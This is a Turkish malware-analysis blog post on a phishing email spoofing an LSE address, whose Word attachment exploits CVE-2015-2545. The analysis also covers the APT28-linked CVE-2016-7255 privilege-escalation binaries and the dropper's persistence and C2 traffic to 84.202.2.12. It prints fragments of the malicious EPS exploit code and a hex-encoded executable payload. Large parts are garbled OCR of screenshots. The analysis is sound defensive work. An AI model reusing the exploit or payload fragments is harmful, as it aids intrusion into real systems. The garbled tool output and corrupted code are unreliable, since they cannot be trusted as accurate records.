Yakindan da Yakin!

written by Mert SARICA | 2 October 2017
If you are looking for an English version of this article, please visit here.

Dijital cag oncesinde de dijital cagda da, benim de siklikla glivenlik
farkindaligi sunumlarimda ve blog yazilarimda yer verdigim Willie Sutton gibi
bir zamana damgasini vurmus banka soyguncularinin hayatlarini
incelediginizde, banka soygunlarinin ana sebebinin degismedigini
gorebiliyorsunuz, para! Gecmis yillarin silahli soygunlarinin siber banka
soygunlarina donistigu ginimizde, banka subelerinin giivenliginde bankalar
icin vazgecilmez olan guvenlik gorevlilerinin yanina siber guvenlik
uzmanlarinin da eklenmesi, dijital cagda siber soygunlarla micadeleye karsi
onemli bir rol oynamaya basladi. Bankalarin fiziksel guvenlik adina banka
soygunlarindan c¢ikardigi dersler de yerini, siber tehdit raporlarindan ve

hacklenen bankalardan c¢ikardiklari derslere birakti.

FireEye (Mandiant) firmasi tarafindan Mart ayinda yayinlanan M-Trends
raporunun finans kurumlarimiz tarafindan dikkatli ele alinmasi ve iyi bir
sekilde etiit edilmesi gerekiyor. Ozellikle diinya genelinde siber sug
cetelerinin bankalara yonelik gerceklestirdikleri siber saldirilarda, devlet
destekli (nation state) siber saldirilarda sikca gordigimiz 0. gin
zafiyetlerinden faydalaniyor olmalari, bu rapora damgasini vuran en Onemli
tespitlerden sadece biri diyebiliriz.

Bu tur tehdit raporlarini okuyan kimi kurumlar, tehdidin kendilerine oldukca
uzak oldugunu disinerek, insana ve glvenlik teknolojilerine yapilmasi gereken
yatirimlari ikinci plana atarak, hacklenene dek huzur ve mutluluk ic¢inde
hayatlarina devam ederler. Etrafindaki olup bitene seyirci kalmayip,
tehditleri yakindan takip edip, analiz eden kurumlar ise, bu tidr tehdit
raporlarindan da faydalanarak gelecek yillarda siber glvenlik lzerine
izleyecekleri stratejiyi belirleyip, kaynaklarini dogru alanlara yatirim
yapmak ic¢in kullanarak hacklenme ihtimallerini olabildigince azaltmaya

calisarlar.

Bu hikaye, hem M-Trends raporunda (sayfa 11) hem de Bir APT Girisimi baslikli
blog yazimda oldugu gibi yine bir lniversite e-posta hesabindan godnderilen
bir e-posta ile baslar. Alinan onlemler sayesinde hedef kisiye ulasamayan bu
e-posta, FireEye glvenlik sistemi basta olmak Uzere ¢ok sayida sistemde
alarmlari tetikleyerek sipheli e-postanin ekinde yer alan zararli Office
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dosyasinin (Confirmation letter.docx MD5:2abe3cc4bff46455a945d56¢c27e9fb45)
kurumsal SOME ekibi tarafindan manuel olarak incelenmesi slirecini baslatar.
Bu defa art niyetli kisiler daha onceki hikayede oldugu gibi Universitedeki
bir akademisyenin e-posta hesabini ele gecirip onun Ulzerinden ilerlemek
yerine yine, yine ayni universiteden gonderiliyormus susu verdikleri sahte
(spoofed) bir e-posta adresinden (m.salvalaggio@lse.ac.uk) e-posta gdondermeyi
tercih etmislerdi. E-postada adi gecen kisinin dniversitenin personel
listesinde yer almamasi ve Linkedin ilzerinde yapilan bir arastirmada da bu
kisinin (Matteo Salvalaggio) farkli bir Universitede calisiyor olmasi
sipheleri arttiriyordu.

Hello,

Congratulations, your candidature is approved.

The attachment contains the copy of the confirmation letter. Please pay attention to the expiry period of the certificate. You will get the hard copy via mail within 2 weeks.
Let's schedule a call on Thursday, 2 PM, do you mind?

Best regards,
Matteo

Matteo Salvalaggio

Senior Director of Development

London School of Economics & Political Science
Tel: +442039051983

Email: m.salvalaggio@lse.ac.uk
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Gonderilen Word dosyasini sanal makinede ac¢maya calistiginizda, sistemin
agirlasmasi ve yanit veremez hale gelmesi, bu dokimanda bir istismar kodu
oldugu slphesini akillara getiriyordu. Pestudio araci ile temel birkag
kontrol yapildiginda ise 2015 yilinda Microsoft Office yaziliminda tespit
edilen ve 2007'den 2016'ya kadar tum slrumleri etkileyen ciddi bir zafiyeti
(CVE-2015-2545 / MS15-099) istismar etmeye calistigi anlasiliyordu.
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01.01.1601 02:00 Confirmation Letter

Dear Sir,

This letter confirms that your candidature was approved for participation in Banking
Technology Awards.

Please inform Matteo Salvalaggio on 442039051983 or m.salvalaggio®@lse.ac.uk if you need
additional information.

Sincerely,

London Scheool of Economics & Political Science, Award Committee
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IRHESHGIEIA) BitDefender Exploit,CVE-2015-2545.Gen 28022017 0
o rzogs) Arcabit Exploit CVE-2015-2545,Gen 28.02.2017 0
N Ad-Aware Exploit.CVE-2015-2545.Gen 28.02.2017 0
F-Secure Exploit. CVE-2015-2545.Gen 28.02.2017 0
GData Exploit.CVE-2015-2545.Gen 28.02.2017 0
Emsisoft Exploit. CVE-2015-2545.Gen (B) 28.02.2017 0
Kaspersky HEUR:Exploit.M5Word. Generic 28.02.2017 0
TrendMicro HEUR_EMBEPS 28.02.2017 0
Bkav clean 28.02.2017 0 =
MicroWorld-eScan clean 28.02.2017 0
nProtect clean 28.02.2017 0
CMC clean 28.02.2017 0
CAT-QuickHeal clean 28.02.2017 0
Mchfee clean 25.02.2017 3
Malwarebytes clean 28.02.2017 0
VIPRE clean 28.02.2017 0
SUPERARtiSpyware clean 28.02.2017 0
TheHacker clean 28.02.2017 0 TR
K7GW clean 28.02.2017 0
KTAntiVirus clean 28,02.2017 0
Baidu clean 28.02.2017 0
F-Prot clean 28.02.2017 0
Symantec clean 28.02.2017 0
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TrendMicro-HouseCall clean 28.02.2017 0
Avast clean 28.02.2017 0
ClamAvV clean 28.02.2017 0
Alibaba clean 28.02.2017 0
MANO-Antivirus clean 28.02.2017 0
AegisLab clean 28.02.2017 0
Rising clean 28.02.2017 0
Comodo clean 28.02.2017 0
Driveb clean 28.02.2017 0 Bl




Confirmation letter.docx dosyasini 7-zip araci ile actiktan sonra zafiyete
konu olan EPS dosyasini (imagel.eps) bulmak cok zor degildi.
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EPS dosyasini Notepad++ araci ile inceledigimde, istismar kodu icinde yer
alan birden fazla yluratiulebilir dosya (executable — binary) basliklari (MZ —
4D5A) hemen dikkatimi c¢ekti. Bu tespit, istismar kodu ig¢inde birden fazla
ylirutilebilir dosya (executable) oldugunu ve zafiyet basariyla istismar
edildikten sonra isletim sistemi lzerinde bunlarin calistirilacagina isaret
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exch def /1293 exch def /1294 0 def f1285 1293 def 1292 1211 { /1294 0 1217 def /1297 1252 1213 def 1167 1293 0 1217
1201 145 }{ /1297 1292 def 1167 1293 0 1201 145 } ifelse 1297 1287 1206 /1299 exch def /1246 1287 1299

(KERNEL32.d11) 1231 def /1247 1299 1246 16 119 1287 135 119 def 1247 1287 138 /1302 exch def /1303 exch def /1304 O
def /1305 1303 def 1302 1211 { /1304 0 1217 def /1307 1302 1213 def 1169 1303 0 1217 1201 145 }{ /1307 1302 def 11&%9
1303 0 1201 145 } ifelse /1309 1159 2 get def 1309 type /stringtype eq { } if 1307 1309 1206 /1311 exch def }{ /1312
1137 1201 135 def /1313 1312 1201 135 def /1314 1313 1203 def /1315 1314 (KERNEL32.dl1l) 1243 def } ifelse /1316 {
/1204 exch def /1224 1204 dup 60 119 1201 135 119 def 1224 25 119 1201 129 dup 01 eq { pop /1319 1204 1224 136 119
1201 135 119 def /1320 1224 140 119 1201 135 def }{ 02 eq { /1319 1204 1224 152 119 1201 135 119 def /1320 1224 156
112 1201 135 def } if } ifelse /1323 1319 12 119 1201 132 def /1324 1319 14 119 1201 132 def /1325 1319 16 119 def
1324 1323 add { /1326 1325 1201 135 def /1327 1325 4 119 1201 135 def 1326 65535 and 16 eq { /1325 1327 2147483647

and 1319 119 def /1323 1325 12 118 1201 132 def /1324 1325 14 119 1201 132 def /1325 1324 1323 add 1 sub 4 mul 1325

16 119 119 4 119 1201 135 def /1325 1325 2147483647 and 1319 119 def /1323 1325 12 119 1201 132 def /1324 1325 14

119 1201 132 def /1335 1324 1323 add 1 sub 4 mul 1325 16 119 119 4 119 1201 135 def /1335 1335 2147483647 and 1319

115 def /1337 1335 1201 135 1204 119 def /1338 1335 4 119 1201 132 def /1339 1337 40 119 def /1340 1339 8 115 1201

135 def /1341 1339 12 119 1201 135 def /1342 1340 -16 bitshift def /1343 1340 €5535 and def /1344 1341 -16 bitshift
def /1345 1341 65535 and def exit } if /1325 1325 8 119 def } repeat } bind def fpayload_32
<4d5a%0000300000004000000£££f0000bE00000000000000400000000000000000000000000000000000000000000000000000000000000000000
0008000000002l fbalef0b409cd21b8014ccd21546869732070726E6772616d2063616e6e6f742062652072756220696220444F53206d6E64652e0
d0d0a2400000000000000504500004c010400b6£58d510000000000000000e0000£010b01060000760000003c040000000000eb840000001000000
0900000000040000010000000020000040000000000000004000000000000000000050000040000c85305000200000000001000001000000000100
0001000000000000010000000000000000000000011b100007800000000£0040070050000000000000000000000000000000000000000000000000
000d09000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000900000d0010000009
1000000020000000000000000000000000000000000002e74657874000000£27500000010000000760000000400000000000000000000000000002
00000602e72646174610000272500000050000000260000007200000000000000000000000000004000004022646174610000000030040000c0000
00010040000200000000000000000000000000000400000c02e727372630000007405000000£004000006000000b00400000000000000000000000
0004000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000010200000000070009000000000000000000000000000000130000001d000000000023002
50000000000000000000000310000000000000000003b3c3d0000000000000000460000000000000000000000000000000000000052005c0000000
000000000000000006900006c0000000000000074007600000000000000000000810000000000000000008b008d008£00009200000000000000009
b00000000000000000025260028000000000000000000000000000000b80000000000000000c10000000000000000c200000000c£00d4100d300000
00000000000000000000000000024000000000000002ec00000000000000£4000000000000000000000000000000000000000000000b0c00000E100
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[l image1.eps E1 l
63ceb3cf63c0d3dlc3d2d3d343d553d5e3d693d803d8£3dal3daT3de53decb3dda3del 3de83df13d033e0b3ell13el83ele3e243e323e3e32493e523 -
£573e623e6d3e8b3eaT3eac3eb23eba3ec23ecb3edl3eds3edf3eec3ef43.043f093F0F3F183F1F3f2c3f343F3a314a3f4f3F543f74377a3182318
a3f933f993faf3fa43fbl3fbb3fc03fcT73fd43ffa3f005000008800000006300d30123017301=.3023302830223036303b304230493042305430623
072307c3087308d30598309d3022302%302e30b330ba30bf30c930ce30d5302300d3115311b31263132314731503169318b3155312331ab31b331c
631d631e031£9310332313236323c32433268327332ad32c532cf32£2320333103340334d337733000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
UDDDDDDDUDDDDDDDDUDDDDDDDDDDDDDDDUDDDDDDDDDDDDDDDDDDDDBDDDDDDDDDDDDDq> putinterval 1350 65280 (blZ2c.exe} putinterval
65532 1348 1350 141 1350 65536 payload 32 putinterval 1159 3 1350 put 1198 1201 135 /1364 exch def 1364 1201 135
/1365 exch def 1365 36 119 1201 135 /1366 exch def 1366 1201 135 /1367 exch def 1367 32 119 1201 135 /1368 exch def
1368 1n pop } ifelse /1369 { /1370 1314 (FKERWNEL32.d1l) (VirtualProtect) 1250 def /1371 0 def /1372 1314 4096 119 def
1201 1372 458752 getinterval dup dup <94 00 00 00 00 5E c3> search { length 1372 118 /1373 exch def pop pop }{ pop
/1371 1 def } ifelse 1371 0 eq { dup <5E C3> search { length 1372 119 /1375 exch def pop pop }{ pop /1371 1 def }
ifelse } if 1371 0 eq { dup <c2 Oc 00> search { length 1372 119 /1377 exch def pop pop }{ pop /1371 1 def } ifelse }
if 1371 1 eq { dup <94 c3> search { length 1372 119 /1373 exch def pop pop }{ pop /1371 2 def } ifelse } if 1371 1
eq { <c2 Oc 00> search { length 1372 119 /1375 exch def pop pop }{ pop /1371 2 def } ifelse } if 1371 2 eq { dup <94
00 00 00 5f 5e Sb c2Z 04 00> search { length 1372 119 /1373 exch def pop pop }{ pop quit } ifelse } if } bind def
f1384 { 1287 1299 (KERNEL32.dl1l) (VirtualProtect) 1259 /1385 exch def /1386 exch def /1372 1299 4096 119 def /1388
1287 1372 688128 getinterval def 1388 /1371 0 def dup <50 FF 50 30> search { length 1372 119 1294 119 /1390 exch def
/1381 1295 def pop pop }{ pop /1371 1 def } ifelse 1371 0 eq { dup <4C 8D 4C 24 &0 48 8B CF FF 90 BO 00 00 00>
search { length 1372 11% 1284 119 /1393 exch def /13594 1385 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq {
dup <5D 48 FF 60 20> search { length 1372 119 1294 119 /1396 exch def /1397 1295 def pop pop }{ pop /1371 1 def }
ifelse } if 1371 0 eq { dup <5D 48 FF &0 18> search { length 1372 119 1294 119 /1399 exch def /1400 1295 def pop pop
}{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <5C C3> search { length 1372 119 1294 119 /1402 exch def /1403 1295
def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <C2 88 00> search { length 1372 119 1294 119 /1405 exch
def /1406 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <59 C3»> search { length 1372 119 1294
119 /1408 exch def /1409 12895 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <5A C3> search { length
1372 119 1294 119 /1411 exch def /1412 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eg { dup <41 58 5d
c3> search { length 1372 119 1254 1195 /1414 exch def /1415 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 1
eq { dup <4C 8B 18 48 8B C8 41 FF 53 08> search { length 1372 119 1294 119 /1390 exch def /1391 12385 def pop pop }{
pop /1371 2 def } ifelse } if 1371 1 eq { dup <4C 8D 4C 24 20 48 BE 01 44 8B C3 FF 50 20> search { length 1372 119
1294 119 /1393 exch def /1394 1295 def pop pop }{ pop /1371 2 def } ifelse } if 1371 1 eq { dup <49 8B E3 41 SE 41
SD 41 5C C3> search { length 1372 119 1294 119 /1396 exch def /1397 1295 def pop pop }{ pop /1371 2 def } ifelse }
if 1371 1 eq { dup <41 5D 41 5C C3> search { length 1372 119 1294 119 /1399 exch def /1400 1295 def pop pop }{ pop
f1371 2 def } ifelse } if 1371 1 eq { dup <59 C3> search { length 1372 119 1394 119 /1402 exch def /1403 1295 def
pop pop }{ pop f1371 2 def } ifelse } if 1371 1 eq { dup <5A C3> search { length 1372 119 1294 115 /1405 exch def
/1406 1295 def pop pop }{ pop /1371 2 def } ifelse } if 1371 1 eq { dup <41 58 c3> search { length 1372 115 1284 118 I
/1408 exch def /1409 1295 def pop pop }{ pop /1371 2 def } ifelse } if 1371 2 eq { dup <50 FF 50 30> search { length
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Istismar kodu ile zaman kaybetmeyip, MZ basligina sahip tim bloklari ayri
ayri aptl.exe, apt2.exe, apt3.exe vb. adi altinda diske kayit edip pestudio
ile incelemeye basladim. apt3.exe (ekran goérintisinde a3.exe olarak da yer
almaktadir.) ve apt5.exe (ekran gorintisinde a5.exe olarak da yer
almaktadir.) dosyalarini inceledigimde, karakter dizilerinde (strings) yer
alan Exploit anahtar kelimeleri, iki dosyanin birbirine fazlasiyla benzemesi
(a3 32bit, a5 64bit) ve VirusTotal raporunda yer alan CVE-2016-7255
(MS16-135) ciktisi dikkatimi cekti. Iki dosyayi da inceledikten sonra bunun
Fancy Bear, APT28, Sofacy, STRONTIUM adiyla da bilinen Pawn Storm APT grubu
tarafindan da zamaninda kullanilmis olan ve Windows kernel zafiyetini
istismar eden bir istismar kodu oldugu ortaya ¢ikti.

Organize « Open Share with = MNew folder = = [ l;:ﬁl
e Mame } Date modified Type Size
B Desktop | aptl.exe 28.02.2017 20:53 Application 302 KB
4. Downloads IE apt2.exe 28.02.2017 20:53 Application 8 KB
=l Recent Places [ apt3.exe 28.02.2017 20:54 Application 28 KB
(5= aptd.exe 28.02.2017 20:54 Application 6 KB
4 Libraries [ apt5.exe 28.02.2017 20:55 Application 26 KB
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B videos
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i 1| aptlexe Date modified: 28.02.2017 20:53 Date created: 28.02.2017 20:53
|l Application Size: 301 KB
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7 virustotal (1/58 - 01.03.201 e p ) . \SHH
----- O dos-stub (160 bytes) i
4 = 3 SPH
----- O file-header (20 bytes) ascﬂ 2 :SXH
----- O optional-header (240 byte: ascT . :
----- O directories (3) ascl 4 B : DEE
_____ O sections (4) ascii 23 = = SQRUVIWAPAQARASATAUAVAWH
_____ O libraries (2) ascii 22 5 = A_ANAANATAZAYAK EY]
_____ O imports (62) ascii 23 = B SQRUVWAPAQARASATAUAVAWH
..... O exports (2) ascii 22 = = A_ATAANATAZAYAK ]ZY]
..... O exceptions (50) ascii 14 - - Microsoft Word
----- O tls-callbacks (n/a) ascii 30 s = The document is locked for editing by another user
ascii 15 - - GetlastErr = 0x
strings 1) ascii 19 o z OpenlnputDesktop =
-k debug (invalic) ascii 19 - - SetThreadDesktop ok
----- B manifest (n/2) ascii 10 - - USER32.dII
file—.‘.fr:rsion (n/a) ascii PE] - - Try non-patched Windows
[ certificate (n/a) ascii 30 ) 2 RCE works, but LPE is patched!
""" =] overlay;nda) ascii 6 z = res =
ascii 12 - - LpeExecMutex
ascii 36 - - 0123456789ABCDEFGetKernelVal error 0
ascii 25 - - ExploitTagMenuState start
ascii 27 = = ExploitTagMenuState error 1 F
ascii 26 - - ExploitTagMenuState end OK =
ascii 19 5 = ExploitThread start
ascii 21 - - ExploitThread error 1
ascii 21 a 2 ExploitThread error 2
ascii 17 = 5 ExploitThread end
ascii 17 - - DonerThread start
ascii 19 & 2 DonorThread wnd( =
ascii 25 - - GetForegroundWindow(l) =
ascii 25 - - GetForegroundWindow(2) =
ascii 15 = = DaonorThread end -
“ 11 | |5 I b

File Help
w8 %
EHET] ehusers\mertidesktoplaS.exe | type size location  blacklisted (46)  item (283) -
----- £l indicators (3/11) e 4 % m ToeoL
----- » virustotal (5/58 - 01.03.201 e p ) . A
----- O dos-stub (152 by
.os . (1, ytes] ascii 14 - - Microsoft Word
----- O file-header (20 bytes) . = Tiea IR o A i
_____ O optional-header (224 byte: ascﬁ - - e decument is locked for editing by another user
_____ O directories (5) ascii 15 - - GetlastErr = 0x
_____ O sections (4) ascii 19 = = OpenlnputDesktop =
_____ O libraries (2) ascii 19 - - SetThreadDesktop ok
_____ O imports (63) ascii 10 - - USER32.dlI
..... O exports (2) ascii 23 = = Try non-patched Windows
..... O exceptions (n/a) ascii 30 - - RCE works, but LPE is patched!
----- O tls-callbacks (n/a) ascii 6 = 3 res =
¥ resources ( ascii 12 - - LpebxecMutex =
strings ascii 16 o z 0123456789ABCDEF
-J% debug (invalid) ascii 20 - - GetKernelVal error 0 =
""" J_EJ manifest (n/a) ascii 25 = " ExploitTagMenuState start
-{20] file-version (n/a) ascii 27 - - ExploitTagMenuState error 1
[ certificate (n/a) ascii 26 - - ExploitTagMenuState end OK
""" L overlay (n/a) ascii 19 - - ExploitThread start
ascii pal - - ExploitThread error 1
ascii 2 - - ExploitThread error 2
ascii 17 - - ExploitThread end
ascii 17 = = DonerThread start
ascii 19 - - DonerThread wnd) =
ascii 25 - - GetForegroundWindow(l) =
ascii 25 - - GetForegroundWindow(2) =
ascii 15 5 2 DoncrThread end
ascii 20 - - EscalateThread start
ascii 39 - - EscalateThread Virtual Alloc(0x:40000) =
ascii 41 - - EscalateThread VirtualAlloc{0x4000000) =
ascii 22 - - EscalateThread error 2
ascii 22 5 = EscalateThread error 3
ascii 22 - - EscalateThread wndl = -
4 [ [ | T +




File Help

wHx B8 7
=7 elusers\mert\desktop\as.exe | engine (58) pasitiv (5) date (dd.mm.y... agel(.. =
""" i indicatols /1Y) Qihoo-360 HEUR/QV1M40.1.0000.Malware. Gen 01.03.2017 0
""" o irustotal (5 Kaspersky HEUR:Trojan.Win32.Generic 28.02.2017 1
""" D dos-stub (152 bytes) GData Win32,Exploit.CVE-2016-7255.A 01.03.2017 0
----- O file-header (20 bytes) = = 2 =
lllll O optional-header (224 byte: Baidu Win32.Trojan.WisdomEyes.16070401.9500.9... 01.03.2017 0
_____ O directories (5) Bkav clean 258.02.2017 1
_____ O sections (4) MicroWorld-eScan clean 01.03.2017 0
_____ O libraries (2) nProtect clean 01.03.2017 0
_____ O imports (63) CMC clean 01.03.2017 0 -
..... O exports (2) CAT-QuickHeal clean 01.03.2017 0
..... O exceptions (n/a) Mchfee clean 01.03.2017 0
----- O tls-callbacks (n/a) Malwarebytes clean 01.03.2017 0
resources (n/a) Zillya clean 01.03.2017 0
----- abe strings (46/283) SUPERANtiSpyware clean 01.03.2017 0
A% debug (invalid) TheHacker clean 28022017 1
----- B manifest (n/2) KIGW clean 01.03.2017 0
{21 file-version (n/a) K7 AntiVirus clean 01.03.2017 0
-] certificate (n/a) TrendMicro clean 01.03.2017 0 w
""" L3 overlay (n/2) F-Prot clean 01.03.2017 0
Symantec clean 28.02.2017 1
ESET-NOD32 clean 01.03.2017 0
TrendMicro-HouseCall clean 01.03.2017 0
Avast clean 01.03.2017 0
ClamAv clean 01.03.2017 0
BitDefender clean 01.03.2017 0
MNANO-Antivirus clean 01.03.2017 0
ViRobot clean 01.03.2017 0
Rising clean 01.03.2017 0
Ad-Aware clean 01.03.2017 0
Sophos clean 01.03.2017 0
Comodo clean 01.03.2017 0
I F-Secure clean 01.03.2017 0
Kl UL} | Drveb clean 01.03.2017 0 52

Tabii bu iki istismar kodunun nihai amaci, EPS dosyasi ic¢inde yer alan
zararli yazilim kodunu sistem lUzerinde yonetici yetkisi ile calistirmak
oldugu igin dinamik analiz icin aptl.exe dosyasini oncelikle sanal makinede
calistirmaya ve davranisini izlemeye karar verdim. aptl.exe dosyasini
calistirdiktan kisa bir slre sonra kendisini %AppData%s\AMD\OGLCache.exe
klas6rine kopyaladigini, 84.202.2.12 ip adresi ile sifreli olarak
haberlestigini, AMD klasoriinde default.conf adi altinda icerigi okunakli
olmayan (rastgele olusturulan bir isim, dosyanin calistirilma tarihi sifreli
yaziliyor.) bir dosya olusturdugunu, sistem yeniden basladiginda calisabilmek
i¢in klasor bilgisini
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Lollipop anahtarina
yazdigini gOrdim. Pestudio araci ile OGLCache.exe aracini inceledigimde ise
paketlenmis (packed) oldugu icin statik analizden elle tutulur pek bir bilgi
elde edemedim.



o
@Uv| . %« Local Disk (C:) » Users » Mert » AppData » Roaming » AMD

~ [ 49 || Search amD

4

L}

Organize « Include in library = Share with - Mew folder o ey | @
-
I S Favarites Marme Date modified Type Size
BE Desktop [ OGLCache.exe 28.02.201510:02 Application 302 KB
& Downloads
=] Recent Places
4 Libraries
@ Documents
J‘l Music
[ Pictures
E Videos
1M Computer
?ﬂ MNetwork
) 1 item
S—
ZF Process Monitor - Sysinternals: www.sysinternals.com = |l @
File Edit Ewent Filter Tools Options Help
el KRBPE | SAS | B | 48 |
Time of Day  Process Name PID Operation Path Result -
13:50:22,8313497 EOGLCache.exe 2460 ﬁHegOuery‘u’alue HKLM" System“CumrentControl Set \services \Win Sock 2\ Parameters"\Name Space_Catalog5'\Catalog_Entr.. SUCCESS T
13:50:22,8313524 EOGLCache.eme 2460 ﬁRegOuery‘u’alue HKLM'\System*\CumrentControl Set \services Win Sock 2\ Parameters\Name Space_Catalog5'\Catalog_Entr.. SUCCESS T
13:50:22,8313553 EOGLCache.exe 2460 ﬁRegOuery\u"alue HKLM"\System"CumrentControl Set services " Win Sock 2 Parameters'Name Space_Catalog5'Catalog_Entr.. . SUCCESS T
13:50:22, 8313581 ®-'OGLCache exe 2460 ﬂRegOuery\u’alue HELM"System"CumrentControl Set services \Win Sock 2\ Parameters"Name Space_Catalogh\Catalog_Entr.. SUCCESS T
13:50:22.8313611 W' OGLCache exe 2460 ﬁRegOuery\u’alue HKLM"System“\CumrentControl Set \services \Win Sock 2\ Parameters"Name Space_Catalog5'\Catalog_Entr... SUCCESS T
13:50:22,8313637 EOGLCa = og5'Catalog_Entr...5UCCESS
13:50:22,8313661 EOGLCEC o) Systern Configuration og5'\Catalog_Entr.. SUCCESS
13:50:22,8313692 ®'OGLCacl SUCCESS
13:50:22,8313763 T'0GLCac | General | Boat | Services | Startup | Tools | REPARSE D
13:50:22,8313836 ®-'OGLCa SUCCESS D
13:50:22,8313895 EOGLCB Startup Item Manufacturer Command Locati eBuckets NAME MOT FOUND Ly
::igggﬁggg 20GLCa VMware Tools  VMware, Inc. :\Program Files‘n,\n'Mware‘l,\u'M'are Tools‘wmolsd.exe' -, HELMY gﬂggg D
13:50:22.8314438 Unknown C:\Users\Mert\AppData'\Roaming\AMD\OGLCache .exe SUCCESS T
13:50:22,8316597 EOGLCac SUCCESS
13:50:22,8316703 ¥ 'OGLCacl HGIFA-N4M7-5M3... REPARSE D
13:50:22,8336834 ®-'OGLCa “Installed Compo... SUCCESS D
13:50:22,8338442 #-' OGLCa “nstalled Compo... SLUCCESS T
13:50:22,8338919 ¥ OGLCa “Installed Compo... SUCCESS
13:50:22,83397%4 EOGLCa SUCCESS D
13:50:22,8340753 ¥'OGLCacl SUCCESS 0
13:50:22,8346032 ®-'OGLCa EMD OF FILE 6]
13:50:22,8346128 ¥ 'OGLCacl SUCCESS
13:50:22,8348418 ¥ 'OGLCacl SUCCESS D
13:50:22,8349114 ®-'OGLCa T = SUCCESS o
13:50:22, 8349863 W OGLCa I | 4 SUCCESS
13:50:22,8352550 EOGLCE Enable al Disable al SUCCESS D
13:50:22.8352720 W7OGLCa =" = SUCCESS o
13:50:22,8352767 ®'OGLCacl [ J [ ] SUCCESS
13:50:22,8353742 ®-'OGLCa Cancel Apply -_Help SUCCESS D
13:50:22,8353851 EOGLCac SUCCESS &
13:50:22, 8355144 &' OGLCache exe i OSEFIE S i) ault.cort SUCCESS [
13:50:22,8366887 W' OGLCache exe 2460 ﬂHegOpenKey HKLM"System“CumrentControl Set™\ControlNIs\CustomLocale REPARSE O
13:50:22,8367015 EOGLCache.exe 2460 ﬁHegOpenKey HELM*System“\CumentControl Set™\ControlNIs‘\CustomLocale SUCCESS ]
13:50:22,8367113 EOGLCache exe 2460 ﬁRegQuery\u’alue HKLM"System"CumrentControl Set"\ControlNls"CustomLocaleen-US NAME NOT FOUND L
13:50:22 8367148 EOGLCache.exe 2460 ﬁRegCloseKey HKLM"System“\CumentControl Set™Control*Nls"CustomLocale SUCCESS
13:50:22, 8367187 EOGLCache.eme 2460 ﬁﬂegOpenK&y HKLM"\System*\CumentControl Set\Control*Nls' ExtendedLocale REPARSE D
13:50:22, 8367234 EOGLCache.eme 2460 ﬁﬂegOpeﬂK&y HKLM"System*CumrentControl Set*\Control*Nls' ExtendedLocale SUCCESS D
13:50:22 8367295 ®'0OGLCache exe 2460 aRegOuery\u’alue HELM"System"\CumrentControl Set“ControlNis"BdendedLocale en-US NAME NOT FOUND L
13:50:22,3367323 EOGLCache.exe 2460 gﬂegﬁoseKey HKLM"System“\CumrentControl Set\ControlNls'ExtendedLocale SUCCESS -

Showing 2.070 of 980,472 events (0.2%)
e
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File Help
ek x B ¥
-7 chusersimert\desktophapt 2802201 Taptlexe | fype size location  blacklisted (28)  item (1047)
44 indicators (3/7) o= a GelThamefppProperties
#Y virustotal (n/a) =
O dos-stub (64 bytes) m!‘ - 2vaf
O file-header (20 bytes) o ] =3
£ optional-header (224 bytes) s L A
O directories (5) Lo s 34
O sactions 8) ascii 4 1230
O lbraries (3/5) ascii . =%
O imports (47) ascii 4 &bM|
O exports (n/a) ascii 4 >k
O exceptions (n/a) ascii 4 bAks
O tis-callbacks {n/2) ascil 4 >GeA
15 resources (tet) ascii 4 50
ase 28/1947) ascii 4 vCdT
1% debug (invalid) ascii 5 T
E manifest (n/a) ascii 4 Bl=rn
&8 file-version (n/a) P 12 _intualAlloc
[l certificate (n/a ascii 18 _riteProcessMemory
13 overlay (unknown) ascii 1 sadLibrary
ascii 10 anvuqnnksd
ascii 4 wlo_
ascii 4 WD
ascii 8 ~"%(InF~
ascii 4 GUV<
ascii 6 > \D§)
ascii 4 <VEw
ascii 4 T
ascii 5 Sfnzk
ascii 4 ¥zo
ascii 5 <085~
ascii 1 Ug=g
ascii 4 niM
ascii 4 Bgl®
- = y | osci 5 ol

Server DNS Mame: 84.200.2.12 Service Port: 443 Signature Name: Malware. Binary. exe

Raw Command

L] FrE \oooYoooh 000N 33003463 "._254"._34?_"._35[!\200'1232"._233"._3545 L2544, 250; T\ 2400 374, 204, 2544, 373, 2204, 341u" 372
H12111226\367,2034,372x\ 266 267P4 2401, 3547, 255, 262" 254§\ 265\ 367, 2204 265,275\, 2771 355, 212"\ 301\, 264, 24
A02443104375V037 36003061 324", 2420, 226: 1 Fr@ \ooohoooh 000N 3300310483600, 362904 3110 376 333026642320\ 27
5123642004260z 250430043204, 3661, 2551,2211 265 xq', 345\ 256FH\ 272d~, 2161374122441, 322\, 333 374\ 356\ 215\37
70230 Y261\ 2TETK\307m4 224 260~ 315, 261\ 361" 206, 2664 3564, 331 ".,Z?Eul,r“Z?i'l-"._:l 7@ \Ooohoooh 000N 330024442327
\227\ 2407\ 220, 240, 362t01\\ 355\, 256\, 254X, 2301, 3267, 3541 3671, 3101, 2341, 320, 234\ 3001, 3405\ 302@", 220\ 333@\ 3
354,372,332\ 226\ 252" 2664 2000b" 3630 2700 1 ?'?"._2?'2'13?51:'1345"._3?2\"13?5".,3?D".,Z?D"._DDE["._DI EHZSSUHSEDHI}BDHBEE[
